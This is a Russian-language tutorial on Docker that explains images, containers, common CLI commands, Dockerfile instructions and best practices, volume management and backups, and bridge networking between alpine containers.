Можно создавать свои образы или использовать образы, созданные другими и опубликованные в реестре. Для создания образа используется `Dockerfile`, содержащий инструкции по созданию образа и его запуску (см. ниже). Ряд инструкций в `Dockerfile` приводит к созданию в образе нового слоя (раньше новый слой создавался для каждой инструкции). При изменении `Dockerfile` и повторной сборке образа пересобираются только модифицированные слои. Это делает образы легковесными, маленькими и быстрыми.
*Контейнеры (`Containers`)*
Контейнер — это запускаемый экземпляр образа. Мы создаем, запускаем, перемещаем и удаляем контейнеры с помощью `Docker API` или `CLI` (command line interface, интерфейс командной строки). Мы можем подключать контейнеры к сетям, добавлять в них хранилища данных и даже создавать новые образы на основе текущего состояния.
По умолчанию контейнеры хорошо изолированы от других контейнеров и хоста. Однако мы можем управлять тем, насколько изолированы сеть, хранилище данных или другая подсистема контейнера.
Контейнер определяется образом и настройками, указанными при его создании и запуске. При удалении контейнера его состояние также удаляется. Этого можно избежать с помощью хранилища данных.
*Пример команды `docker run`*
Следующая команда запускает контейнер `ubuntu`, интерактивно подключается к локальному сеансу командной строки и выполняет в ней команду `/bin/bash`:
```
docker run -i -t ubuntu /bin/bash
```
При выполнении этой команды происходит следующее:
1. Поскольку на нашей машине нет образа `ubuntu`, `Docker` загружает его из реестра (то же самое делает команда `docker pull ubuntu`).
2. `Docker` создает новый контейнер (то же самое делает команда `docker container create`).
3. В качестве последнего слоя `Docker` выделяет контейнеру файловую систему для чтения и записи. Это позволяет запущенному контейнеру создавать и модифицировать файлы и директории в его локальной файловой системе.
4. Поскольку мы не указали сетевых настроек, `Docker` создает сетевой интерфейс для подключения контейнера к дефолтной сети. Это включает в себя присвоение контейнеру [`IP-адреса`](https://ru.wikipedia.org/wiki/IP-%D0%B0%D0%B4%D1%80%D0%B5%D1%81). Контейнеры могут подключаться к внешним сетям через сетевое соединение хоста.
5. `Docker` запускает контейнер и выполняет `/bin/bash`. Поскольку контейнер запущен в интерактивном режиме и подключен к терминалу (благодаря флагам `-i` и `-t`), мы можем вводить команды и получать результаты в терминале.
6. Выполнение команды `exit` приводит к прекращению выполнения `/bin/bash`. Контейнер останавливается, но не удаляется. Мы можем запустить его снова или удалить.
Команды и флаги
---------------
**`docker run`**
Команда `docker run` используется для запуска контейнера. Это основная и потому наиболее часто используемая команда.
```
# сигнатура
docker run [OPTIONS] IMAGE[:TAG|@DIGEST] [COMMAND] [ARG...]
# основные настройки (флаги)
-d - запуск контейнера в качестве отдельного процесса
-p - публикация открытого порта в интерфейсе хоста (HOST:CONTAINER)
# например
-p 3000:3000
-t - выделение псевдотерминала
-i - оставить STDIN открытым без присоединения к терминалу
--name - название контейнера
--rm - очистка системы при остановке/удалении контейнера
--restart - политика перезапуска - no (default) | on-failure[:max-retries] | always | unless-stopped
-e - установка переменной среды окружения
-v - привязка распределенной файловой системы (name:/path/to/file)
# например
-v mydb:/etc/mydb
-w - установка рабочей директории
```
Следующая команда запускает контейнер `postgres`:
```
# \ используется для разделения длинных команд на несколько строк
docker run --rm \
# название контейнера
--name postgres \
# пользователь
-e POSTGRES_USER=postgres \
# пароль
-e POSTGRES_PASSWORD=postgres \
# название базы данных
-e POSTGRES_DB=mydb \
# автономный режим и порт
-dp 5432:5432 \
# том для хранения данных
-v $HOME/docker/volumes/postgres:/var/lib/postgresql/data \
# образ
postgres
```
**`docker build`**
Команда `docker build` используется для создания образа на основе файла `Dockerfile` и контекста. Контекст — это набор файлов, находящихся в локации, определенной с помощью `PATH` или `URL`. `PATH` — это директория в нашей локальной системе, а `URL` — это удаленный репозиторий. Контекст сборки обрабатывается рекурсивно, поэтому `PATH` включает как директорию, там и все ее поддиректории, а `URL` — как репозиторий, так и все его субмодули. Для исключения файлов из сборки образа используется [`.dockerignore`](https://docs.docker.com/engine/reference/builder/#dockerignore-file) (синтаксис этого файла похож на `.gitignore`).
```
# сигнатура
docker build [OPTIONS] PATH | URL | -
```
Создание образа:
```
# в качестве контекста сборки используется текущая директория
docker build .
```
Использование репозитория в качестве контекста (предполагается, что `Dockerfile` находится в корневой директории репозитория):
```
docker build github.com/creack/docker-firefox
```
```
docker build -f ctx/Dockerfile http://server/ctx.tar.gz
```
В данном случае `http://server/ctx.tar.gz` отправляется демону, которые загружает и извлекает файлы. Параметр `-f ctx/Dockerfile` определяет путь к `Dockerfile` внутри `ctx.tar.gz`.
Чтение `Dockerfile` из `STDIN` без контекста:
```
docker build - < Dockerfile
```
Добавление тега к образу:
```
docker build -t myname/my-image:latest .
```
Определение `Dockerfile`:
```
docker build -f Dockerfile.debug .
```
Экспорт файлов сборки в директорию `out`:
```
docker build -o out .
```
Экспорт файлов сборки в файл `out.tar`:
```
docker build -o - . > out.tar
```
**`docker exec`**
Команда `docker exec` используется для выполнения команды в запущенном контейнере.
```
# сигнатура
docker exec [OPTIONS] CONTAINER COMMAND [ARG...]
# основные флаги
-d - выполнение команды в фоновом режиме
-e - установка переменной среды окружения
-i - оставить `STDIN` открытым
-t - выделение псевдотерминала
-w - определение рабочей директории внутри контейнера
```
Пример:
```
# -U - это пользователь, которым по умолчанию является root
docker exec -it postgres psql -U postgres
```
В данном случае в контейнере `postgres` будет запущен интерактивный терминал [`psql`](https://postgrespro.ru/docs/postgresql/14/app-psql). Выполним парочку команд:
```
# получаем список баз данных
\l
# подключаемся к базе данных mydb
-d mydb
# получаем список таблиц, точнее, сообщение об отсутствии отношений (relations)
\dt
# выходим
\q
```
**`docker ps`**
Команда `docker ps` используется для получения списка (по умолчанию только запущенных) контейнеров.
```
# сигнатура
docker ps [OPTIONS]
# основные флаги
-a - показать все контейнеры (как запущенные, так и остановленные)
-f - фильтрация вывода на основе условия (`id`, `name`, `status` и т.д.)
-n - показать n последних созданных контейнеров
-l - показать последний созданный контейнер
# пример получения списка приостановленных контейнеров
docker ps -f 'status=paused'
```
Для получения списка образов используется команда `docker images`.
**Команды управления**
```
# запуск остановленного контейнера
docker start CONTAINER
# приостановление всех процессов, запущенных в контейнере
docker pause CONTAINER
# остановка контейнера
docker stop CONTAINER
# "убийство" контейнера
docker kill CONTAINER
# перезапуск контейнера
docker restart CONTAINER
# удаление остановленного контейнера
docker rm [OPTIONS] CONTAINER
# основные флаги
-f - принудительное удаление (остановка и удаление) запущенного контейнера
-v - удаление анонимных томов, связанных с контейнером
# пример удаления всех остановленных контейнеров
docker rm $(docker ps --filter status=exited -q)
# удаление образа
docker rmi IMAGE
###
# управление образами
docker image COMMAND
# управление контейнерами
docker container COMMAND
# управление томами
docker volume COMMAND
# управление сетями
docker network COMMAND
# управление docker
docker system COMMAND
```
**Другие команды**
Для получения логов запущенного контейнера используется команда `docker logs`:
```
docker logs [OPTIONS] CONTAINER
# основные флаги
-f - следование за выводом
-n - n последних строк
```
Для удаления всех неиспользуемых данных (контейнеры, сети, образы и, опционально, тома) используется команда `docker system prune`. Основные флаги:
```
-a - удаление всех неиспользуемых образов, а не только обособленных (dangling)
--volumes - удаление томов
```
*Предостережение*: применять эту команду следует с крайней осторожностью, поскольку удаленные данные не подлежат восстановлению.
[Полный список команд и флагов](https://docs.docker.com/engine/reference/commandline/docker/).
Dockerfile
----------
`Dockerfile` — это документ (без расширения), содержащий инструкции, которые используются для создания образа при выполнении команды `docker build`.
*Предостережение*: не используйте `/` в качестве `PATH` для контекста сборки. Это приведет к передаче демону всего содержимого жесткого диска вашей машины.
Инструкции выполняются по одной. Результаты наиболее важных инструкций фиксируются в виде отдельных слоев образа. *Обратите внимание*: каждая инструкция выполняется независимо от других. Это означает, что выполнение `RUN cd /tmp` не будет иметь никакого эффекта для последующих инструкций.
`Dockerfile` может содержать следующие инструкции:
```
# Комментарий
ИНСТРУКЦИЯ аргументы
# Основные
# FROM - родительский образ
FROM [:] [AS ]
# пример
FROM node:12-alpine AS build
# WORKDIR - установка рабочей директории для инструкций RUN, CMD, ENTRYPOINT, COPY и ADD
WORKDIR /path/to/dir
# пример
WORKDIR /app
# COPY - копирование новых файлов или директорий из
# и их добавление в файловую систему образа по адресу, указанному в
COPY
COPY ["", ""]
# пример
COPY package.\* yarn.lock ./
# или
COPY . .
# ADD, в отличие от COPY, позволяет копировать удаленные файлы,
# а также автоматически распаковывает сжатые (identity, gzip, bzip2 или xz) локальные файлы
# ADD - копирование новых файлов, директорий или удаленного (!) файла из
# и их добавление в файловую систему образа по адресу, указанному в
ADD
ADD ["", ""]
# пример
ADD some.txt some\_dir/ # /some\_dir/
# RUN - выполнение команды в новом слое на основе текущего образа и фиксация результата
RUN
# или
RUN ["executable", "arg1", "arg2"] # Кавычки должны быть двойными
# пример
RUN npm install
# CMD - предоставление дефолтных значений исполняемому контейнеру
CMD ["executable", "arg1", "arg2"]
# или если данной инструкции предшествует инструкция ENTRYPOINT
CMD ["arg1", "arg2"]
# или
CMD command arg1 arg2
# пример
CMD [ "node", "/app/src/index.js" ]
# RUN выполняет команду и фиксирует результат,
# CMD ничего не выполняет во время сборки, а определяет команду для образа
# (!) выполняется только одна (последняя) инструкция CMD
# ENTRYPOINT - настройка исполняемого контейнера
ENTRYPOINT ["executable", "arg1", "arg2"]
ENTRYPOINT command arg1 arg2
# пример
ENTRYPOINT ["top", "-b"]
CMD ["-c"]
# docker run -it --rm --name test top -H
# top -b -H
# разница между ENTRYPOINT и CMD:
# https://docs.docker.com/engine/reference/builder/#understand-how-cmd-and-entrypoint-interact
# https://stackoverflow.com/questions/21553353/what-is-the-difference-between-cmd-and-entrypoint-in-a-dockerfile
# переменные
# ${var} или $var
# пример
FROM busybox
ENV FOO=/bar
WORKDIR ${FOO} # WORKDIR /bar
ADD . $FOO # ADD . /bar
COPY \$FOO /qux # COPY $FOO /qux
# Другие
# LABEL - добавление метаданных к образу
LABEL =
# пример
LABEL version="1.0"
# EXPOSE - информация о сетевом порте, прослушиваемом контейнером во время выполнения
EXPOSE | /
# пример
EXPOSE 3000
# ENV - установка переменных среды окружения
ENV =
# пример
ENV MY\_NAME="No Name"
# VOLUME - создание точки монтирования
VOLUME ["/var/log"]
VOLUME /var/log
# USER - установка пользователя для использования при запуске контейнера
# в любых инструкциях RUN, CMD и ENTRYPOINT
USER [:]
USER [:]
# ARG - определение переменной, которая может быть передана через командную строку при
# выполнении команды `docker build` с помощью флага `--build-arg =`
ARG [=]
# ONBUILD - добавление в образ триггера, запускаемого при использовании
# данного образа в качестве основы для другой сборки
ONBUILD
```
[`Справка по Dockerfile`](https://docs.docker.com/engine/reference/builder/).
Рекомендации по `Dockerfile`
----------------------------
Рассмотрим следующий `Dockerfile`:
```
# syntax=docker/dockerfile:1
FROM ubuntu:18.04
COPY . /app
RUN make /app
CMD python /app/app.py
```
Выполнение каждой инструкции (кроме `CMD`) из этого файла приводит к созданию нового слоя:
* `FROM` создает слой из образа `ubuntu:18.04`
* `COPY` добавляет файлы из текущей директории
* `RUN` собирает приложение с помощью [`make`](https://www.gnu.org/software/make/)
* `CMD` определяет команду для запуска приложения в контейнере
При запуске образа и генерации контейнера мы добавляем новый слой, доступный для записи, поверх остальных. Все изменения в запущенном контейнере, такие как создание новых файлов, их модификация или удаление записываются в этот слой.
*Создание эфемерных контейнеров*
Генерируемые контейнеры должны быть максимально эфемерными. Под эфемерностью понимается возможность остановки, уничтожения, повторной сборки и замены контейнеров без необходимости дополнительной настройки процесса их генерации.
*Понимание контекста сборки*
При выполнении команды `docker build` контекстом сборки, как правило, является текущая директория. Предполагается, что `Dockerfile` находится в этой директории. Путь к `Dockerfile`, находящемуся в другом месте, можно указать с помощью флага `-f`. Независимо от того, где находится `Dockerfile`, все файлы и директории из текущей директории отправляются демону в качестве контекста сборки.
В следующем примере мы
* создаем (`mkdir`) директорию `myapp`, которая используется в качестве контекста сборки
* переходим в нее (`cd`)
* создаем файл `hello` с текстом `"hello"`
* создаем `Dockerfile`, читающий (`cat`) содержимое файла `hello`
* собираем образ с тегом `helloapp:v1`
```
mkdir myapp && cd myapp
echo "hello" > hello
echo -e "FROM busybox\nCOPY /hello /\nRUN cat /hello" > Dockerfile
docker build -t helloapp:v1 .
```
Размещаем `Dockerfile` и `hello` в разных директориях и собираем вторую версию образа без использования кеша предыдущей сборки (`-f` определяет путь к `Dockerfile`):
```
# создаем директории
mkdir -p dockerfiles context
# перемещаем файлы
mv Dockerfile dockerfiles && mv hello context
# собираем образ
docker build --no-cache -t helloapp:v2 -f dockerfiles/Dockerfile context
```
*`.dockerignore`*
В файле `.dockerignore` указываются файлы, не имеющие отношения к сборке и поэтому не включаемые в нее. Синтаксис `.dockerignore` похож на синтаксис `.gitignore` или `.npmignore`.
*Многоэтапная сборка*
Многоэтапная сборка позволяет существенно уменьшить размер финального образа без необходимости изучения процесса сборки на предмет наличия промежуточных слоев и файлов, которые можно удалить.
Если процесс сборки состоит из нескольких слоев, мы можем упорядочить их от редко модифицируемых до часто модифицируемых:
* установка инструментов, необходимых для сборки приложения
* установка или обновление зависимостей
* генерация приложения
Пример `Dockerfile` для `Go-приложения`:
```
# syntax=docker/dockerfile:1
FROM golang:1.16-alpine AS build
# устанавливаем инструменты
# выполняем `docker build --no-cache .` для обновления зависимостей
RUN apk add --no-cache git
RUN go get github.com/golang/dep/cmd/dep
# список зависимостей из `Gopkg.toml` и `Gopkg.lock`
# эти слои будут собираться повторно только при изменении файлов `Gopkg`
COPY Gopkg.lock Gopkg.toml /go/src/project/
WORKDIR /go/src/project/
# устанавливаем зависимости
RUN dep ensure -vendor-only
# копируем проект и собираем его
# этот слой будет собираться повторно только при изменении файлов из директории `project`
COPY . /go/src/project/
RUN go build -o /bin/project
# получаем образ, состоящий из одного слоя
FROM scratch
COPY --from=build /bin/project /bin/project
ENTRYPOINT ["/bin/project"]
CMD ["--help"]
```
*Лишние библиотеки*
Для уменьшения сложности, количества зависимостей и времени сборки следует избегать установки дополнительных и ненужных библиотек "на всякий случай".
*Разделение приложений*
Каждый контейнер должен иметь одну ответственность (single responsibility). Разделение приложений на несколько контейнеров облегчает горизонтальное масштабирование и переиспользуемость контейнеров. Например, стек веб-приложения может состоять из 3 отдельных контейнеров, каждый со своим уникальным образом, для управления приложением, базы данных и сервера или распределенного кеша, хранящегося в памяти. Если контейнеры зависят друг от друга для обеспечения возможности их коммуникации следует использовать сети.
*Минимизация количества слоев*
В старых версиях `Docker` каждая инструкция в `Dockerfile` приводила к созданию нового слоя. Сейчас новые слои создаются только инструкциями `RUN`,`COPY` и `ADD`. Другие инструкции создают временные промежуточные образы, которые не приводят к увеличению размера сборки.
*Сортировка многострочных аргументов*
Многострочные аргументы рекомендуется сортировать в алфавитном порядке. Также рекомендуется добавлять пробел перед обратным слэшем (`\`). Пример:
```
RUN apt-get update && apt-get install -y \
bzr \
cvs \
git \
mercurial \
subversion \
&& rm -rf /var/lib/apt/lists/*
```
*Использование кеша сборки*
При сборке образа `Docker` изучает все инструкции в порядке, определенном в `Dockerfile`. После изучения инструкции `Docker` обращается к своему кешу. Если в кеше имеется соответствующий образ, новый образ не создается. Для сборки образа без обращения к кешу используется настройка `--no-cache=true`.
Рекомендации по инструкциям
---------------------------
*FROM*
В качестве основы для создания образа рекомендуется использовать официальные образы из `DockerHub` версии `alpine`.
*LABEL*
Подписи позволяют структурировать образы проекта, добавлять информацию о лицензиях, могут использоваться для автоматизации и т.д.
```
# одна подпись
LABEL com.example.version="0.0.1-beta"
# несколько подписей
LABEL vendor=ACME\ Incorporated \
com.example.is-beta= \
com.example.is-production="" \
com.example.version="0.0.1-beta" \
com.example.release-date="2021-01-12"
```
*RUN*
Длинные и сложные инструкции `RUN` рекомендуется разделять на несколько строк с помощью обратного слэша (`\`). Это делает `Dockerfile` более читаемым, облегчает его понимание и поддержку.
```
RUN apt-get update && apt-get install -y \
package-bar \
package-baz \
package-foo \
&& rm -rf /var/lib/apt/lists/*
```
*CMD*
Инструкция `CMD` используется для запуска программ в контейнере вместе с аргументами. `CMD` должна использоваться в форме `CMD ["executable", "param1", "param2"]`. В большинстве случаев первым элементом должен быть интерактивный терминал, такой как `bash`, `python` или `perl`. Например, `CMD ["perl", "-de0"]`, `CMD ["python"]` или `CMD ["php", "-a"]`. При использовании `ENTRYPOINT` следует убедиться, что пользователи понимают, как работает эта инструкция.
*EXPOSE*
Инструкция `EXPOSE` определяет порты, на которых контейнер регистрирует соединения. Рекомендуется использовать порты, которые являются традиционными для приложения. Например, образ, содержащий веб-сервер `Apache`, должен использовать `EXPOSE 80`, а образ, содержащий `MonghoDB` — `EXPOSE 27017`.
*ENV*
Для облегчения запуска программы можно использовать `ENV` для обновления переменной среды окружения `PATH` для приложения, устанавливаемого контейнером. Например, `ENV PATH=/usr/local/nginx/bin:$PATH` обеспечивает, что `CMD ["nginx"]` просто работает.
Инструкция `ENV` также может быть полезна для предоставления обязательных для сервиса переменных, таких как `PGDATA` для `Postgres`.
Наконец, `ENV` может использоваться для установки номеров версий, что облегчает их обновление.
*ADD или COPY*
Хотя `ADD` и `COPY` имеют похожий функционал, в большинстве случаев следует использовать `COPY`, поскольку эта инструкция является более прозрачной, чем `ADD`. `COPY` поддерживает копирование в контейнер только локальных файлов, а `ADD` также позволяет извлекать файлы из локальных архивов и получать файлы по `URL`, но вместо последнего лучше использовать `curl` или `wget`: это позволяет удалять ненужные файлы после извлечения.
Если `Dockerfile` состоит из нескольких этапов, на которых используются разные файлы из контекста, эти файлы рекомендуется копировать индивидуально. Это позволяет обеспечить инвалидацию кеша только для модифицированных файлов. Например:
```
COPY package.json /app
RUN npm i
# предполагается, что директория node_modules указана в .dockerignore
COPY . /app
```
*ENTRYPOINT*
`ENTRYPOINT` определяет основную команду для образа, что позволяет запускать образ без этой команды.
Рассмотрим пример образа для инструмента командной строки `s3cmd`:
```
ENTRYPOINT ["s3cmd"]
CMD ["--help"]
```
Данный образ может быт запущен следующим образом:
```
docker run s3cmd
```
Это приведет к выводу справки.
Либо мы может передать параметры для выполнения команды:
```
docker run s3cmd ls s3://mybucket
```
Это может быть полезным при совпадении названия образа со ссылкой на исполняемый файл.
*VOLUME*
Инструкция `VOLUME` следует использовать для доступа к любой области хранения базы данных, хранилищу настроек или файлам/директориям, созданным контейнером. Крайне не рекомендуется использовать `VOLUME` для мутабельных и/или пользовательских частей образа.
*WORKDIR*
Для ясности и согласованности для `WORKDIR` всегда следует использовать абсолютные пути. Также `WORKDIR` следует использовать вместо инструкций типа `RUN cd ... && do-something`, которые трудно читать, отлаживать и поддерживать.
Управление данными
------------------
По умолчанию файлы, создаваемые в контейнере сохраняются в слое, доступном для записи (writable layer). Это означает следующее:
* данные существуют только на протяжении жизненного цикла контейнера, и их сложно извлекать из контейнера, когда в них нуждается другой процесс
* слой контейнера, доступный для записи, тесно связан с хостом, на котором запущен контейнер. Данные нельзя просто взять и переместить в другое место
* запись в такой слой требует наличия драйвера хранилища (storage driver) для управления файловой системой. Эта дополнительная абстракция снижает производительность по сравнению с томами данных (data volumes), которые пишут напрямую в файловую систему
`Docker` предоставляет 2 возможности для постоянного хранения данных на хосте: тома (volumes) и `bind mount`. Для пользователей `Linux` также доступен `tmpfs mount`, а для пользователей `Windows` — `named pipe`.
**Выбор правильного типа монтирования**
Независимо от выбранного типа монтирования, для контейнера данные выглядят одинаково. Они представляют собой директорию или файл в файловой системе контейнера.
Разница между томами, `bind mount` и `tmpfs mount` заключается в том, где хранятся данные на хосте.
* тома хранятся в части файловой системы хоста, управляемой `Docker` (`/var/lib/docker/volumes/` на `Linux`). Процессы, не относящиеся к `Docker`, не должны модифицировать эту часть. Тома — лучший способ хранения данных в `Docker`
* `bind mount` может храниться в любом месте системы хоста. Это могут быть даже важные системные файлы и директории. Модифицировать их могут любые процессы
* `tmpfs mount` хранится в памяти и не записывается в файловую систему
[`Управление данными в Docker`](https://docs.docker.com/storage/).
**Тома (Volumes)**
Тома — предпочтительный способ хранения данных, генерируемых и используемых контейнерами. Они полностью управляются `Docker`, в отличие от `bind mount`, которые зависят от структуры директории и операционной системы хоста. Преимущества томов состоят в следующем:
* тома легче восстанавливать и мигрировать
* томами можно управлять с помощью `Docker CLI` и `Docker API`
* тома работают как в `Linux`, так и в `Windows` контейнерах
* тома могут более безопасно распределяться между контейнерами
* движки томов (volume drivers) позволяют хранить тома на удаленных хостах и облачных провайдерах, шифровать содержимое томов или добавлять в них новый функционал
* содержимое новых томов может заполняться (population) контейнером
* тома имеют более высокую производительность
Тома также являются более предпочтительными перед хранением данных в слое контейнера, доступном для записи, поскольку тома не увеличивают размер контейнера. Содержимое контейнера существует за пределами жизненного цикла контейнера.
**Флаги `-v` и `--mount`**
`--mount` является более явным и многословным. Основное отличие состоит в том, что при использовании `-v` все настройки комбинируются вместе, а при использовании `--mount` они указываются раздельно.
Движок тома может быть определен только с помощью `--mount`.
* `-v` или `--volume`: состоит из 3 полей, разделенных двоеточием (`:`). Поля должны указываться в правильном порядке. Значение каждого поля не является очевидным
+ в случае именованных томов первое поле — это название тома, которое является уникальным в пределах хоста. В случае анонимных томов это поле опускается
+ второе поле — это путь файла или директории, монтируемой в контейнере
+ третье поле является опциональным и представляет собой разделенный запятыми список настроек, таких как `ro`
* `--mount`: состоит из нескольких пар ключ/значение, разделенных запятыми. Синтаксис `--mount` является более многословным, зато порядок ключей не имеет значения, а значения ключей являются более очевидными
+ `type`: тип монтирования, может иметь значение `bind`, `volume` или `tmpfs`
+ `source`: источник монтирования. Для именованных томов — это название тома. Для анонимных может быть опущено. Может определяться как `source` или `src`
+ `destination`: путь монтируемого в контейнере файла или директории. Может определяться как `destination`, `dst` или `target`
+ `readonly`: если указана данная настройка, том будет доступен только для чтения. Может определяться как `readonly` или `ro`
+ `volume-opt`: данная настройка может определяться несколько раз, принимая пары название настройки/ее значение
`-v` и `--mount` принимают одинаковые настройки. При использовании томов с сервисами, доступен только флаг `--mount`.
**Создание и управление томами**
В отличие от `bind mount`, тома могут создаваться и управляться за пределами любого контейнера.
*Создание тома*
```
docker volume create my-vol
```
*Список томов*
```
docker volume ls
```
*Анализ тома*
```
docker volume inspect my-vol
```
*Удаление тома*
```
docker volume rm my-vol
```
**Запуск контейнера с томом**
При запуске контейнера с несуществующим томом, он создается автоматически. В следующем примере том `myvol2` монтируется в директорию `app` контейнера:
```
docker run -d \
--name devtest \
-v myvol2:/app \
nginx:latest
# или
docker run -d \
--name devtest \
--mount source=myvol2,target=/app \
nginx:latest
# далее будет использоваться только `-v`
```
В данном случае том будет доступен как для чтения, так и для записи.
**Использование тома с `Docker Compose`**
Единичный сервис (single service) `Compose` с томом может выглядеть так:
```
version: "1.0"
services:
frontend:
image: node:lts
volumes:
- myapp:/home/node/app
volumes:
myapp:
```
Том будет создан при первом вызове `docker compose up`. При последующих вызовах данный том будет использоваться повторно.
Том может быть создан отдельно с помощью `docker volume create`. В этом случае в `docker-compose.yml` может быть указана ссылка на внешний (external) том:
```
version: "1.0"
services:
frontend:
image: node:lts
volumes:
- myapp:/home/node/app
volumes:
myapp:
external: true
```
**Популяция тома с помощью контейнера**
При запуске нового контейнера, создающего том, когда контейнер содержит файлы и директории в монтируемой директории, содержимое этой директории копируется в том. После этого контейнер монтирует и использует том. Другие контейнеры, использующие том, будут иметь доступ к его предварительно заполненному (pre-populated) содержимому.
В следующем примере мы создаем контейнер `nginxtest` и заполняем новый том `nginx-vol` содержимым из директории `/usr/share/nginx/html`, в которой хранится дефолтная разметка:
```
docker run -d \
--name=nginxtest \
-v nginx-vol:/usr/share/nginx/html \
nginx:latest
```
*Пример монтирования тома, доступного только для чтения*
```
# :ro
docker run -d \
--name=nginxtest \
-v nginx-vol:/usr/share/nginx/html:ro \
nginx:latest
```
**Резервное копирование, восстановление и передача данных томов**
Для создания контейнера, монтирующего определенный том, используется флаг `--volumes-from`.
*Резервное копирование тома*
Создаем контейнер `dbstore`:
```
docker run -v /dbdata --name dbstore ubuntu /bin/bash
```
Следующая команда
* запускает новый контейнер и монтирует в него том из контейнера `dbstore`
* монтирует директорию из локального хоста как `/backup`
* передает команду для архивации содержимого тома `dbdata` в файл `backup.tar` в директории `/backup`:
```
docker run --rm \
--volumes-from dbstore \
-v $(pwd):/backup \
ubuntu tar \
cvf /backup/backup.tar /dbdata
```
*Восстановление данных тома*
Создаем новый контейнер:
```
docker run -d \
-v /dbdata \
--name dbstore2 \
ubuntu /bin/bash
```
Распаковываем архив в том нового контейнера:
```
docker run --rm \
--volumes-from dbstore2 \
-v $(pwd):/backup \
ubuntu bash -c \
"cd /dbdata && tar xvf /backup/backup.tar --strip 1"
```
*Удаление томов*
Данные томов сохраняются после удаления контейнеров. Существует 2 типа томов:
* именованные: имеют определенный источник за пределами контейнера, например, `awesome:/foo`
* анонимные: не имеют определенного источника, поэтому при удалении контейнера демону следует передавать инструкции по их удалению
Для удаления анонимного контейнера можно использовать флаг `--rm`. Например, здесь мы создаем анонимный том `/foo` и именованный том `awesome:/bar`:
```
docker run --rm -v /foo -v awesome:/bar busybox top
```
После удаления этого контейнера будет удален только том `/foo`.
Для удаления всех неиспользуемых томов используется команда `docker volume prune`.
Более подробную информацию о томах можно получить [здесь](https://docs.docker.com/storage/volumes/).
Сети (Networks)
---------------
Сети позволяют контейнерам общаться между собой. Сетевой интерфейс `Docker` не зависит от платформы.
Основная функциональность сетей представлена следующими драйверами:
* `bridge` (мост): дефолтный сетевой драйвер. Такие сети, как правило, используются, когда приложение состоит из нескольких автономных контейнеров, которые должны иметь возможность общаться между собой
* `host`: этот драйвер также предназначен для автономных контейнеров, он позволяет использовать сети хоста напрямую, удаляя изоляцию между контейнером и хостом
* `overlay` (перекрытие): такие сети объединяют нескольких демонов вместе и позволяют групповым сервисам (swarm services) взаимодействовать друг с другом. Эти сети также могут использоваться для обеспечения коммуникации между групповым сервисом и отдельным контейнером или между двумя автономными контейнерами на разных демонах
* `ipvlan`: такая сеть предоставляет пользователю полный контроль над адресацией `IPv4` и `IPv6`
* `macvlan`: этот драйвер позволяет присваивать контейнеру `MAC-адрес`, в результате чего контейнер появляется в сети как физическое устройство
* `none`: отключает сети для данного контейнера. Обычно, используется в дополнение к кастомному сетевому драйверу
* плагины
*Резюме*
* `bridge`: для обеспечения взаимодействия контейнеров, находящихся на одном хосте
* `host`: когда сетевой стек не должен быть изолирован от хоста
* `overlay`: для обеспечения взаимодействия контейнеров, находящихся на разных хостах, или для приложений, работающих вместе через групповые сервисы
[Обзор сетей](https://docs.docker.com/network/).
**Использование дефолтной сети `bridge`**
Сейчас мы запустим 2 контейнера `alpine` и посмотрим, как они могут взаимодействовать между собой.
* Открываем терминал и выполняем следующую команду:
```
docker network ls
```
Получаем список сетей `bridge`, `host` и `none`.
* Запускаем 2 контейнера `alpine`. `ash` — это дефолтный терминал `Alpine` (аналог `bash`). Флаги `-dit` означают запуск контейнера в фоновом режиме (-d), интерактивно (что дает возможность вводить команды) (-i) и с псевдотерминалом (чтобы видеть ввод и вывод) (-t). Поскольку мы не указываем `--network`, контейнеры подключаются к дефолтной сети `bridge`:
```
# контейнер номер раз
docker run -dit --name alpine1 alpine ash
# и номер два
docker run -dit --name alpine2 alpine ash
```
Проверяем, что оба контейнера запущены:
```
docker container ls
# или
docker ps
```
* Анализируем сеть `bridge` на предмет подключенных к ней контейнеров:
```
docker network inspect bridge
```
Видим созданные нами контейнеры в разделе `"Containers"` вместе с их `IP-адресами` (`172.17.0.2` для `alpine1` и `172.17.0.3` для `alpine2`).
* Подключаемся к `alpine1`:
```
docker attach alpine1
```
Видим приглашение `#`, свидетельствующее о том, что мы являемся пользователем `root` внутри контейнера. Взглянем на сетевой интерфейс `alpine1`:
```
id addr show
```
Первый интерфейс (`lo`) нас не интересует. Нас интересует `IP-адрес` второго интерфейса (`172.17.0.2`).
* Проверяем подключение к Интернету:
```
ping -c 2 google.com
```
Флаг `-c 2` означает 2 попытки [`ping`](https://ru.wikipedia.org/wiki/Ping).
* Обратимся ко второму контейнеру. Сначала по `IP-адресу`:
```
ping -c 2 172.17.0.3
```
Работает. Теперь попробуем обратиться по названию контейнера:
```
ping -c 2 alpine2
```
Не работает.
* Останавливаем и удаляем контейнеры:
```
docker container stop alpine1 alpine2
docker container rm alpine1 alpine2
```
*Обратите внимание*: дефолтная сеть `bridge` не рекомендуется для использования в продакшне.
**Использование кастомной сети `bridge`**
В следующем примере мы снова создаем 2 контейнера `alpine`, но подключаем их к кастомной сети `alpine-net`. Эти контейнеры не подключены к дефолтной сети `bridge`. Затем мы запускаем третий `alpine`, подключаемый к `bridge`, но не к `alpine-net`, и четвертый `alpine`, подключаемый к обеим сетям.
* Создаем сеть `alpine-net`. Флаг `--driver bridge` можно опустить, поскольку `bridge` является сетью по умолчанию:
```
docker network create --driver bridge alpine-net
```
* Получаем список сетей:
```
docker network ls
```
Анализируем сеть `alpine-net`:
```
docker network inspect alpine-net
```
Получаем `IP-адрес` сети и пустой список подключенных контейнеров.
*Обратите внимание* на [сетевой шлюз](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%82%D0%B5%D0%B2%D0%BE%D0%B9_%D1%88%D0%BB%D1%8E%D0%B7), который отличается от шлюза `bridge`.
* Создаем 4 контейнера. *Обратите внимание* на флаг `--network`. При выполнении команды `docker run` мы можем подключить контейнер только к одной сети, поэтому подключение `alpine4` к `alpine-net` выполняется отдельно:
```
docker run -dit --name alpine1 --network alpine-net alpine ash
docker run -dit --name alpine2 --network alpine-net alpine ash
docker run -dit --name alpine3 alpine ash
docker run -dit --name alpine4 alpine ash
# !
docker network connect alpine-net alpine4
```
Получаем список запущенных контейнеров:
```
docker ps
```
* Анализируем `bridge` и `alpine-net`:
```
docker network inspect bridge
```
Видим, что к данной сети подключены контейнеры `apline3` и `alpine4`.
```
docker network inspect alpine-net
```
А к этой сети подключены контейнеры `alpine1`, `alpine2` и `alpine4`.
